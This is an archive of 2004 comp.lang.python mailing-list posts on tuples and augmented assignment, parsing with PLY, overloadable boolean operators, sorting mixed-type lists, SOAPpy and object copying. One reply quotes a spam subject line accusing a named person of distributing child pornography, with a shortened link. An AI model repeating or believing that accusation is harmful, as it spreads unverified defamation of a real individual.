> print "a =",a ; print
>
> # Create tuple b
> b=(234,"item 3",456,"end")
> print "length of tuple b =",len(b)
> print "b =",b ; print
>
> print "Add b onto a"  # Shouldn't work!
> #---------------------------------------------
> # a=a+b    # causes an error as it should,
> a+=b      # but why is this ok?
> #---------------------------------------------
> print "a =",a
> print "length of a =",len(a)
> print;c=raw_input("Press enter to exit")
>
> My book states that a=a+b and a+=b are the same, and that different 
> 'types' of
> sequence cannot be joined together. 




From jjl at pobox.com  Sun Sep 12 16:52:12 2004
From: jjl at pobox.com (John J. Lee)
Date: 12 Sep 2004 21:52:12 +0100
Subject: open and shut case
References: <NIT0d.400083$gE.34432@pd7tw3no> <878ybfk3rf.fsf@pobox.com>
	<Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
Message-ID: <87oekb9pmr.fsf@pobox.com>

Andrew Dalke <adalke at mindspring.com> writes:

> John J. Lee wrote:
> > PS. these days, your subject line sounds distinctly spammish
> > (especially since it's a woman posting the message to a
> > comp. newsgroup -- how likely can that be? ;-)
> 
> What the .... ??! Was that supposed to be funny?  The smiley
> suggests you thought it was.  It isn't.  It's crude and rude.

Now *I'm* left thinking "What the.." .  That went over my head...  How
is it crude, or rude??

It just seemed funny that the very presence of a woman on this
newsgroup indicated spam to the sensitive spam-detection circuits my
brain has grown over the past few years.

If you want me to deconstruct the reasons why it seemed funny:

I suppose it fits the standard joke format, according to Vilayanur
Ramachandran (not sure the idea originates with him): a sudden
re-evaluation of the facts (it's not spam after all), and the
consequence turns out to be inconsequential (a perfectly valid
everyday post -- no harm has been done).  The wink was mildly
self-mocking, I guess: The almost total absence of women from this
little virtual place must to some extent reflect badly on whatever
communities it comprises.

Maybe I should be pleased that I can't even imagine what it was you
thought I was saying...


John


From hat at se-126.se.wtb.tue.nl  Thu Sep  9 11:33:21 2004
From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp)
Date: Thu, 9 Sep 2004 15:33:21 +0000 (UTC)
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<pan.2004.09.08.03.35.16.733137@jerf.org>
	<1gjt2oi.1fe1y8mpb2jxdN%aleaxit@yahoo.com>
Message-ID: <slrnck0tu1.h1d.hat@se-126.se.wtb.tue.nl>

On Wed, 8 Sep 2004 17:47:16 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> Jeremy Bowers <jerf at jerf.org> wrote:
>    ...
>> > 2. Does Python has a parser? It seems to me that there is no-standard
>> > Parser for Python right now. If it is the case, can I interface Python
>> > with existing cup and lex?
>> 
>> Why are you asking about a parser when you are talking about *outputting*
>> code? Is there something left out of the problem description?
> 
> the original poster started his original post with:
> 
>> I need your advice on this matter. I am working on a program which
>> takes some pieces of System-C code in and generate some other System-C
> 
> That "takes some pieces of ... code" sounded to me like an indication
> that a parser is needed -- nothing left out of the problem description,
> IMHO.

For the original poster:

I just discovered that there is a Topic guide about scanners/parsers at
python.org !!
It has quite a list of module links.


Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.


From roo at try-removing-this.darkboong.demon.co.uk  Fri Sep 10 16:40:11 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Fri, 10 Sep 2004 21:40:11 +0100
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<1ctshc.kd52.ln@via.reistad.priv.no>
	<BD677FB7.30BA5%ipmonger@comcast.net>
Message-ID: <1094848812.10962@teapot.planet.gong>

Jon Boone wrote:

> On 2004-09-10 14:56, in article 1ctshc.kd52.ln at via.reistad.priv.no,
> "Morten Reistad" <firstname at lastname.pr1v.n0> wrote:
> 
>> I just don't get it. The stated agenda is either misstated, or grossly
>> misimplemented.
> 
>   Never attribute to malice what is adequately explained through
> incompetence.
> 
> --jon

That doesn't adequately cover incompetantance and malice combined. :)

-- Rupert


From helten0007 at yahoo.com  Tue Sep 28 04:37:07 2004
From: helten0007 at yahoo.com (Peter Jensen)
Date: Tue, 28 Sep 2004 10:37:07 +0200
Subject: Is there a function to search the HD
Message-ID: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net>

Hi all.

I was wondering if there is an inbuild function in python to search your 
harddrives ( Harddisk's) for a file of a speciel type. I mean can I write a 
command with 2 parameters ( one being the filetype, and the other the 
location on the harddisk where I want to search for the specific file type )

Thank for all input... 




From gerrit at nl.linux.org  Fri Sep 24 09:43:03 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Fri, 24 Sep 2004 15:43:03 +0200
Subject: > > > > matt parker alias erik_van_lindt_hout matt parker alias
	geronimo jones bondage phuking matt parker alias
	kimberlyparker matt parker from cottage grove oregon spams
	the net with childporn http://tinyurl.com/6kmea matt parker
	alias evon lin
In-Reply-To: <a8dfce8c.0409232120.15502f4b@posting.google.com>
References: <acb07122.0409220308.104c0a74@posting.google.com>
	<acb07122.0409230138.30b004bc@posting.google.com>
	<a8dfce8c.0409232120.15502f4b@posting.google.com>
Message-ID: <20040924134303.GA3669@nl.linux.org>

Matthew K Jensen wrote:
> > comp.lang.python,cu.cs.clim,sci.energy.hydrogen,uw.stats.s,talk.philosophy.misc
> > > > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lint herzog matt parker violates the internet privacy act by distributing stolen personal data matt parker alias evon_lunsen_herzog matt parker alias
> 
> I think you're better off using a unicode string. In cases like this,
> it's good to know different encoding standards.

Please, you are *severely* confusing my spambayes! How am I supposed to
train your message? ;-)

Gerrit

-- 
Weather in Twenthe, Netherlands 24/09 14:25:
	13.0?C Cumulonimbus clouds observed mostly cloudy wind 5.8 m/s WNW (57 m above NAP)
-- 
In the councils of government, we must guard against the acquisition of
unwarranted influence, whether sought or unsought, by the
military-industrial complex. The potential for the disastrous rise of
misplaced power exists and will persist.
    -Dwight David Eisenhower, January 17, 1961


From daniel.dittmar at sap.corp  Wed Sep 22 04:28:31 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Wed, 22 Sep 2004 10:28:31 +0200
Subject: python is going to die! =(
In-Reply-To: <10l2ao6agqrkte9@corp.supernews.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
	<2rafspF17n18jU1@uni-berlin.de>
	<10l2ao6agqrkte9@corp.supernews.com>
Message-ID: <cird3f$i2k$1@news1.wdf.sap-ag.de>

Tom Cocagne wrote:
>  The one thing that I would like to see, however, (....admittedly a
> dangerous statement considering that it could very well wind up getting me
> *volunteered* to fix it... ;-) is a "GUI development in Python" page

That would be
http://www.python.org/cgi-bin/moinmoin/GuiProgramming.
There's not much there in term of comparisons, but as you volunteered...

Daniel


From maxm at mxm.dk  Mon Sep 13 14:11:15 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 13 Sep 2004 20:11:15 +0200
Subject: Addition to slice syntax (for strings)
In-Reply-To: <4145d672$0$22765$db0fefd9@news.zen.co.uk>
References: <4145d672$0$22765$db0fefd9@news.zen.co.uk>
Message-ID: <4145e264$0$290$edfadb0f@dread12.news.tele.dk>

Will McGugan wrote:

> I have actually implemented something similar in a C++ string class, so 
> its not completely crazy - but I would be interested in what more 
> experienced Python developers think of it.

I actually find that it is a good idea for a class, but the devil is in 
the details, and I think that it might be too limited in the long run.

Sometimes you want to use rfind() instead of find(). Other times you 
want to use a regular expression as the index etc.

It is probably a good idea to leave it out of the language. Especially 
as it is pretty easy to roll your own.

A better idea is to add the recipe to the Python Cookbook

http://aspn.activestate.com/ASPN/Python/Cookbook/

regards Max M


From tim.hochberg at ieee.org  Thu Sep  9 10:26:17 2004
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 09 Sep 2004 07:26:17 -0700
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <2qaa6pFt9ltbU1@uni-berlin.de>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>	<2q4s80Fr7lqtU1@uni-berlin.de>	<mailman.2953.1094537034.5135.python-list@python.org>
	<2qaa6pFt9ltbU1@uni-berlin.de>
Message-ID: <chpp6d$n1v$1@sea.gmane.org>

Greg Ewing wrote:
> Andrew Durdin wrote:
> 
>> I'm not at a machine with the patch installed on it at the moment, but
>> I just began to whether this patch would have an effect on expressions
>> like (a < b < c)
> 
> 
> No, it won't have any effect on those. I don't think
> it should, either -- it should only apply when you
> explicitly write an 'and'.

[I should probably download the patch and try this before commenting, 
but no time, so: open mouth, insert foot].

Why? You specifically mention Numeric/Numarray as one motivating factor 
for this patch, and as a long time Numeric/Numarray user I'd rather have 
(a < b < c) work than (a and b).

My biggest concern is that if (a < b < c) is not changed in conjunction 
with (a and b), the behaviour of the former becomes difficult to 
explain. Currently one can explain it by saying, "a < b < c is 
interpreted as (a < b) and (b < c), and 'and' doesn't work on numeric 
arrays". However, if 'and' starts to work sensible for numarrays, but (a 
< b < c) retains the old behaviour, the behaviour becomes both hard to 
explain and hard to understand.

I'll try to download the patch and comment more completely later.

-tim



From stefan at eischet.com  Wed Sep 15 18:24:19 2004
From: stefan at eischet.com (Stefan Eischet)
Date: Thu, 16 Sep 2004 00:24:19 +0200
Subject: software that knows how to update itself
In-Reply-To: <ci9dja$dii$1@solaris.cc.vt.edu>
References: <ci9dja$dii$1@solaris.cc.vt.edu>
Message-ID: <FCC7D8F5-0765-11D9-9021-000A95857E5C@eischet.com>

Hi,

the update thing looks sane to me, but only IF you can really trust 
that crc/md5 part, which you didn't flesh out very much. I really don't 
know enough about crypto stuff to comment on this part. Some things to 
think about, anyway: How exactly will this work? How can you be sure 
that hackers won't use this mechanism to replace your code with theirs? 
You might argue that you won't have enough installations to get hackers 
interested in your server. In closed networks, well okay. But I 
wouldn't run this on an internetwide accessible machine.

I don't know what your situation is; if this is for a larger 
organization: do you run an automatic software deployment tool in your 
organization? These do the same thing, but for all kinds of apps. Why 
not use that to deliver updates? If you don't have such a thing but can 
afford it, think about buying one. I can give you some pointers if 
you're interested; I used to work in that field.

Cheers,
   Stefan

On 15.09.2004, at 14:46, Brad Tilley wrote:

> I've written and tested a *very basic* socket server that I'll have to 
> deploy soon... sooner than I'd like as much of the functionality that 
> I want to include hasn't been implemented or even tested yet. So, I've 
> been thinking about writing a function that has the ability to upgrade 
> the socket server remotely. However, I have never done anything like 
> this so I'm looking for tips and advice on the subject.
>
> The socket server runs continuously listening for connections so I'll 
> always be able to communicate with it. Here's some pseudo code that 
> captures the essence of what I'd like to do:
>
> def update_urself():
>       receive updated socket server code & write it to a file
>       verify file with crc or md5sum check on both ends
>       if verify is OK:
>          close all connections
>          replace sock_serv.py with sock_serv_update.py
>
> if conn.recv == 'UPDATE'
>    update_urself()
>
> Does this look sane?
>
>
>
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>
>
// stefan at eischet.com //



From ialbert at mailblocks.com  Fri Sep 10 13:07:56 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 10 Sep 2004 13:07:56 -0400
Subject: Electronic voting feasibility
In-Reply-To: <chr77a$4gj@odak26.prod.google.com>
References: <chr77a$4gj@odak26.prod.google.com>
Message-ID: <2MadnV5_1fnwQtzcRVn-uA@giganews.com>

Greg Steffensen wrote:

> the disk is never touched), so choice of language is largely arbitrary.
> Is this wrong?  Are there reasons to choose/avoid Python?

All I know about designing secure systems is that if one has to
ask questions about it then it means that they cannot do it.

Istvan.



From greg at cosc.canterbury.ac.nz  Tue Sep  7 00:37:18 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 07 Sep 2004 16:37:18 +1200
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
Message-ID: <2q4s80Fr7lqtU1@uni-berlin.de>

Alex Martelli wrote:
> Problem is, __nonzero__ is currently
> typechecked -- it has to return an integer.

Yes, that's the problem. I should probably elaborate
on that a bit in the PEP.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From mwh at python.net  Wed Sep 15 08:03:37 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Sep 2004 12:03:37 GMT
Subject: Subclassing in C
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
	<41470D3A.1040206@research.att.com>
	<m3vfeg965o.fsf@pc150.maths.bris.ac.uk>
	<41473FCF.5000706@research.att.com>
Message-ID: <m3k6uv91t3.fsf@pc150.maths.bris.ac.uk>

Iker Arizmendi <iker at research.att.com> writes:

> Michael Hudson wrote:
> > Iker Arizmendi <iker at research.att.com> writes:
> > 
> >>(*) The class I'm deriving from is defined in another
> >>extension module and it has its own tp_getattr method.
> > Hmm.  I take it *it's* tp_getattr[o] method isn't
> > PyObject_GenericGetAttr then?
> > Then your initial post makes more sense; I'm afraid I don't see
> > any obvious reason for PyObject_GenericGetAttr to crash.
> 
> Ah! I missed the trailing 'o' and set tp_getattr, not
> tp_getattro as you suggested.

[snip]

OK, some questions.

1) You must be assuming 2.2 or later, right?  tp_base doesn't make
   sense before then.
2) Is this a third party base type?
3) If 2) is the third party assuming 2.2 or later?

If 2) but not 3), you might be in for some hacking (as you later came
up with).  You can't really subclass (cleanly) a type that's totally
unprepared for it.

Py_FindMethod() is SO 2001 :-)

Cheers,
mwh

-- 
  <Erwin> I recompiled XFree 4.2 with gcc 3.2-beta-from-cvs with -O42
          and -march-pentium4-800Mhz and I am sure that the MOUSE
          CURSOR is moving 5 % FASTER!
                                                -- from Twisted.Quotes


From siona at chiark.greenend.org.uk  Thu Sep 30 09:01:17 2004
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 30 Sep 2004 14:01:17 +0100 (BST)
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
	<cjg4hq$r02$1@newsg4.svr.pol.co.uk>
Message-ID: <zIj*NdWvq@news.chiark.greenend.org.uk>

M. Clift <noone at here.com> wrote:
>I can think of the long/wrong way to do it as shown for trans = 3, but there
>must be some simpler idea.
>
>
>for idx in range(len(items)):
>    if list[idx:idx + 1] == ['a']:
>       list[idx:idx + 1] = ['d']
>    if list[idx:idx + 1] == ['b']:
>       list[idx:idx + 1] = ['a']

Depending on what the possible characters are, you might be able
to do something with chr() and ord() and modulo arithmetic:

c2 = chr((ord(c1) - ord('a') + n) % 4 + ord('a'))

but Peter Otten's solution is more general.

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From ksenia at ksenia.nl  Wed Sep  8 10:32:14 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Wed, 08 Sep 2004 17:32:14 +0300
Subject: Question: tools for business apps development
In-Reply-To: <2q5vvrFrq42gU2@uni-berlin.de>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<2q5vvrFrq42gU2@uni-berlin.de>
Message-ID: <E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl>

>> One of possibilities is to use Flash (in a browser) for GUI. I am 
>> thinking about using it for some project that also needs more 
>> interactivity: Flash for frontend, Python for backend (Web service 
>> using XMLRPC).
>> You can use Flash IDE for fast GUI builing, and code the flow of your 
>> GUI in Action Script files, using your favorite editor.
>> The sad part of this approach is that you can't program everything in 
>> Python. The nice part is the maintainability (no install, 
>> automatically download of the latest version).
>> But these are my thoughts... I wonder what people say who actually 
>> did it :)
>> Ksenia.
>
> It's actually a very effective solution, in my experience. You get a 
> cross-platform, very smart client talking to the server of your 
> choice. When I used this approach (pre-Python-discovery) I wrote the 
> server in Java and all messages were exchanged as XML. Now I would 
> make the same choice as you: Python server using XML-RPC.
>

Good to hear that :)
I was thinking about that 'very smart client'... actually, I want the 
Flash client to be 'as dumb as possible' :) In the terms of 
Model-View-Controller, wouldn't it be even better to have only 'View' 
in Flash? The 'Controller' can then be on the server, in Python, 
comunicating with Flash client in...XUL? ;-) It will be basically the 
same as generating HTML for the browser... but with richer widgets.

Googled from curiosity:
http://zulu.netspedition.com/zulu/main/overview.shtml

Hmm...

Ksenia.



From robin.siebler at palmsource.com  Sun Sep 12 19:52:51 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 12 Sep 2004 16:52:51 -0700
Subject: Python or 4NT?  With a question or two about popen()
Message-ID: <95c29a5e.0409121552.af6bdba@posting.google.com>

I have a bunch of command line tests that I need to automate.  I've
run into too many bugs with the default Win2k command shell, so I need
to either purchase 4NT or handle the logic and output processing with
Python.  I'm looking for experiences, comments, problems, etc.

Also, I'm trying to figure out how to use popen().  To say that the
documentation and expamples available for this is sparse would be the
understatment of the century!  I know that I want to use popen4() but
what is the difference between os.popen4(), win32pipe.popen4() and
popen2.popen4()(did I miss any?)?

And how, exactly, do I *use* popen4()?  I figured out how to use
popen(), but I haven't been too successfull with popen().  A good
example would really come in handy!  I have *5* Python books and not
one has an example for anything other than popen()!

Robin L. Siebler
Software Test Engineer
PalmSource
---------------------------------------
Homer Simpson: But every time I learn something new, it pushes out
something old! Remember that time I took a home wine-making course and
forgot how to drive?    Marge: That's because you were drunk!    Homer
Simpson: And how!


From martin at v.loewis.de  Tue Sep  7 14:30:54 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 07 Sep 2004 20:30:54 +0200
Subject: i18n and GUI under Windows
In-Reply-To: <f06d8508.0409061625.10440451@posting.google.com>
References: <f06d8508.0409061625.10440451@posting.google.com>
Message-ID: <413dfe55$0$26127$9b622d9e@news.freenet.de>

Andr? Roberge wrote:
> In short: I'm looking for a *simple* example of how to write a program
> that can have its GUI in at least two languages under Windows ...
> using only Python, of course!

I think the most simple approach is using a dictionary. Make one
Python file per language, and have that file contain only a single
dictionary named "translations". For keys, you have three options:

- use the English messages as keys (e.g. "Please enter your name")
- use short identifiers as keys (e.g. "EnterName")
- use numbers as keys (e.g. 116)

Regards,
Martin


From db3l at fitlinxx.com  Wed Sep 22 01:56:19 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 22 Sep 2004 01:56:19 -0400
Subject: Python 3.0, rich comparisons and sorting order
References: <mailman.3688.1095805047.5135.python-list@python.org>
Message-ID: <u656626f0.fsf@fitlinxx.com>

"Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> writes:

> Carlos Ribeiro wrote:
> 
> > Just to make it clear, here it is how it works now:
> > 
> >>>> a = [ 3.5, -1.0, "", (0,1), None, "z"]
> >>>> a.sort()
> >>>> a
> > [None, -1.0, 3.5, '', 'z', (0, 1)]
> 
> Add a complex to that list and watch the result.

Or any user defined type that performs operations in the comparison
functions that might end up raising an exception or rejecting some
comparisons.

> Not all lists are sortable *now*. The change in Python 3.0 is to make it
> much more obvious that you *can't* just sort a list of unknown types.

While I used to treat the "sort heterogeneous lists" as an attractive
quality of the inter-type comparisons, I've pretty much come around to
thinking that it's not worth it, particular since as you say, with
rich comparisons you can't guarantee such behavior any more anyway.

But what really emphasized it for me is having seen multiple new
Python programmers get burned by Python silently comparing strings to
numbers (where they forgot to convert user input as a string into a
numeric type), but not in the way they expect, which can be a subtle
failure.  I think an exception in such cases is actually more Pythonic
since it always feels like a mini-wart when I explain it to them.
I've wondered if the legality of inter-type comparisons was really a
design intention, or more a consequence of the inability of the
earlier interpreter versions to have exceptions raised during the
comparison process.

-- David


From steven.bethard at gmail.com  Tue Sep 21 14:29:52 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 12:29:52 -0600
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <864d37090409211107302ef8a5@mail.gmail.com>
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<864d37090409211107302ef8a5@mail.gmail.com>
Message-ID: <d11dcfba0409211129babc597@mail.gmail.com>

On Tue, 21 Sep 2004 15:07:30 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:
> Assume that you're implementing a spreadsheet like application in
> Python. The user fills a column with arbitrary data, and asks for it
> to be sorted. What is the sorting order? Excel, for instance, defines
> an ordering (it's arbitrary, but it's deterministic).

Thanks, that helps.  You can always have end users asking you to sort
things that shouldn't be sorted...

Presumably you could change how sort works so that it first stratifies
the list by type, and then sorts for each type.  The types would then
be ordered arbitrarily (perhaps by the id of their type?)...  Might
slow down the normal-case sort though...

Hmm...

> The set, in this particular case,
> is a Python list, that *can* contain arbitrary data. So it does not
> make sense (in my not-so-humble opinion) for sort to impose
> restrictions based on the list element type.

Yeah, by restricting comparisons, we'd be basically saying that sort
is only defined for lists that take the form list<some_type>.

> (BTW, if we extend this reasoning, the same could be said for other
> types of functions that work over sets -- sum() should ignore
> non-numeric values, etc. But that's another philosophical battle)

Currently sum is only defined for iterable<number_type>.  Of course
the vast majority of Python functions have type restrictions on their
arguments (and will raise TypeErrors if these are violated).  So I
suspect we don't have to fall down the slippery slope and make all
functions fully generic.

Steve
-- 
You can wordify anything if you just verb it.
        - Bucky Katt, Get Fuzzy


From mhatmaker at gmail.com  Mon Sep 13 18:45:01 2004
From: mhatmaker at gmail.com (Michael Hatmaker)
Date: 13 Sep 2004 15:45:01 -0700
Subject: Problems getting Python client (SOAPpy) to consume .NET web services
Message-ID: <cba30467.0409131445.734b131a@posting.google.com>

I have begun experimenting with web services, and I created some
simple web services in C# and was able to install them with IIS and
create an equally simple C# client to consume them.

My next experiment was to use Python to consume these same web
services, and even though I am able to get Python to consume web
services from a variety of sources (Apache SOAP, Glue, AXIS), I cannot
get web services created with MS.NET to work. Actually, methods with
no arguments work fine, but any methods that take arguments do not
work. There is no error, it is simply that an incorrect result is
returned (i.e. my simple Add(int a, int b) web service always returns
zero).

I tried playing around with the
[SoapDocumentService(Use=SoapBindingUse.Literal,
ParameterStyle=SoapParameterStyle.Wrapped)] arguments in .NET, but I
have had no success as of yet. I don't think it's just me since I
cannot consume any of the web services on webmethods.net that are
created using MS.NET.

My Python code looks something like this:

from SOAPpy import WSDL
server = WSDL.Proxy('http://localhost/MyWebServices/FirstService.asmx?WSDL')
server.SayHello()    # works correctly - just prints a hello message
server.Add(3, 4)     # does not work - returns zero

Any tip that would point me in the right direction would be greatly
appreciated!


From jepler at unpythonic.net  Thu Sep 16 20:49:50 2004
From: jepler at unpythonic.net (jepler at unpythonic.net)
Date: Thu, 16 Sep 2004 19:49:50 -0500
Subject: Finding a python object in c++
In-Reply-To: <efd29696.0409161623.72720c0e@posting.google.com>
References: <efd29696.0409161623.72720c0e@posting.google.com>
Message-ID: <20040917004949.GA4257@unpythonic.net>

Access the 'im_self' attribute of the bound function object.  In C,
I suppose this is something like
	PyObject_GetAttrString(bound_m, 'im_self')

>>> class F:
...     def m(self): pass
... 
>>> f = F()
>>> bound_m = f.m
>>> dir(bound_m)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__repr__', '__setattr__', '__str__', 'im_class', 'im_func', 'im_self']
>>> bound_m.im_self is f
1
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/788caf60/attachment.sig>

From exarkun at divmod.com  Sat Sep  4 13:33:52 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Sat, 04 Sep 2004 13:33:52 -0400
Subject: Method returning new instance of class?
In-Reply-To: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>	<4139a87a$0$30204$9b622d9e@news.freenet.de>
	<2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
Message-ID: <4139FC80.8090907@divmod.com>

Arthur wrote:
> "Martin v. L=F6wis" <martin at v.loewis.de> wrote in message
> news:4139a87a$0$30204$9b622d9e at news.freenet.de...
> =

>>Arthur wrote:
>>
>>>Essentially I am trying to create a non-destructive tranformation of an
>>>instance of a class - is one way of putting it.
>>>
>>>The way I am currently conceptualizing a solution, what I need is a
> =

> method
> =

>>>of the class that returns a new instance of the class.
>>
>>So you want a copy of the object. I'd use copy.copy for this, perhaps
>>copy.deepcopy.
> =

> =

> That was my first instinct.  And perhaps my problem is in here somewhere.
> =

> The app is graphical, and I use a Python extensions in C++ using the Boost
> library (vpython, new version).  My class instance has an attribute which=
 is
> a vpython object. Copy.copy doesn't get me where I need to be because my =
new
> instance gets a reference to the same vpython object, and changes to it a=
re
> reflected in the original instance. Copy.deepcopy doesn't work for more
> obscure reasons.  I get an error message generating up from vpython when I
> try to change an attribute of the object on the new instance  - though I =
am
> interacting with it in the same manner that works fine when performed on =
the
> original instance.
> =

> But do you see any reason why this might be?
> =

> If it sounds totally illogical, I'll go back and check myself - because of
> course the actual sitruation is a bit more complicated than what I am
> describing, and I guess it is possible I am falling off the ledge somewhe=
re
> else.

   It sounds terribly logical.  Copying objects is extremely difficult =

to do correctly.  There is no way to do it generically and correctly. =

Make the copy too shallow, and you get unwanted shared state.  Make the =

copy too deep and the new object is useless.  How do you decide how deep =

is deep enough?  You can't, at least not without intimate knowledge of =

the object you're dealing with.

   Once you figure out exactly how deep you need to make your copy, you =

can tell copy.deepcopy() how to behave with the copy_reg module.  Of =

course, since this knowledge is quite closely tied to VPython, it should =

really be *part* of the VPython package, so that changes to the =

internals of VPython can be made right alongside changes to the code =

which knows how to copy its objects.

   Jp


From FBatista at uniFON.com.ar  Tue Sep 21 09:05:46 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 21 Sep 2004 10:05:46 -0300
Subject: Why not FP for Money?
Message-ID: <A128D751272CD411BC9200508BC2194D053C7992@escpl.tcp.com.ar>

[Barkmann at gmail.com]

#- I've seen it suggested various times that one should use fixed point
#- for money, perhaps micro cents represented as integers. However, if
#- you do that, you need to make sure you do all the rounding correctly.
#- If you were to use FP, you could have your IEEE 754 hardware do the
#- rounding for you, and get better performance to boot. If you are
#- rounding to cents at the end anyway, I can't see that the 
#- errors you'd
#- get with 64 bit FP numbers would ever be an issue.

Here's a confusion. Floating Point is fine to use in Money. But Decimal
Floating Point, and not Binary Floating Point (DFP is implemented in the
decimal module, BFP is implemented in the IEEE 754 hardware).

For further reference you may read the PEP 327 (Decimal Data Type):

	http://www.python.org/peps/pep-0327.html

Having read the *long* thread from this weekend, and seeing another start,
I'd recommend a *lot* of people to read that PEP.

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/b0b4f350/attachment.html>

From mauriceling at acm.org  Sun Sep 19 19:10:40 2004
From: mauriceling at acm.org (Maurice LING)
Date: Sun, 19 Sep 2004 23:10:40 GMT
Subject: Using PLY
In-Reply-To: <4b39d922.0409171206.1ed5003d@posting.google.com>
References: <414a6ca1$1@news.unimelb.edu.au>
	<cie5or$ggr$0$216.39.172.122@theriver.com>
	<4b39d922.0409171206.1ed5003d@posting.google.com>
Message-ID: <414e11ec$1@news.unimelb.edu.au>


> 
> The tokenize module would definitely be simpler if it's Python code
> that he happens to be parsing.  If it's not Python code, then there's
> still a reason to use PLY..
>  
Thanks, I'm not parsing Python codes for sure and so, it is a good 
reason to use PLY.

Another thing that I am quite puzzled by is the yacc part of PLY. Most 
of the examples are showing calculators and the yacc part does the 
calculations such as,

    def p_expression_group(self, p):
         'expression : LPAREN expression RPAREN'
         p[0] = p[2]

this is a bad example, I know. But how do I get it to output some 
intermediate representations, like AST, or an intermediate code 
(byte-code type).

Is

    def p_expression_group(self, p):
         'expression : LPAREN expression RPAREN'
         p[0] = p[2]
	print "byte_x" + p[0]

or something like this legal?

I hope that I am clear about what I am trying to say.

Thanks in advanced
Maurice


From aleaxit at yahoo.com  Mon Sep 13 12:34:59 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 18:34:59 +0200
Subject: Newbie: tuple list confusion.
References: <20040912195529.03437.00000338@mb-m27.aol.com>
	<fj91d.406414$gE.252547@pd7tw3no>
	<1gk1n7i.2du2ju1d38wwgN%aleaxit@yahoo.com>
	<10kb9u8s1fqm12c@news.supernews.com>
Message-ID: <1gk2dib.1b0e0ul19v16a4N%aleaxit@yahoo.com>

John Roth <newsgroups at jhrothjr.com> wrote:

> "Alex Martelli" <aleaxit at yahoo.com> wrote in message 
> news:1gk1n7i.2du2ju1d38wwgN%aleaxit at yahoo.com...
> > Elaine Jackson <elainejackson7355 at home.com> wrote:
> >
> >> In addition to what you've found out already, there is another difference
> >> that, to my mind, is of paramount importance; namely, the fact that an
> >> augmented assignment (a+=b) is actually not an assignment at all. An
> >> actual assignment (a=a+b) binds the name "a" to a new object, while a
> >> so-called augmented assignment mutates the object a itself.
> >
> > Ah, careful there: augmented assignment (nothing "so-called" about it;-)
> > mutates the object and THEN assigns ("re-binds" if you want to get
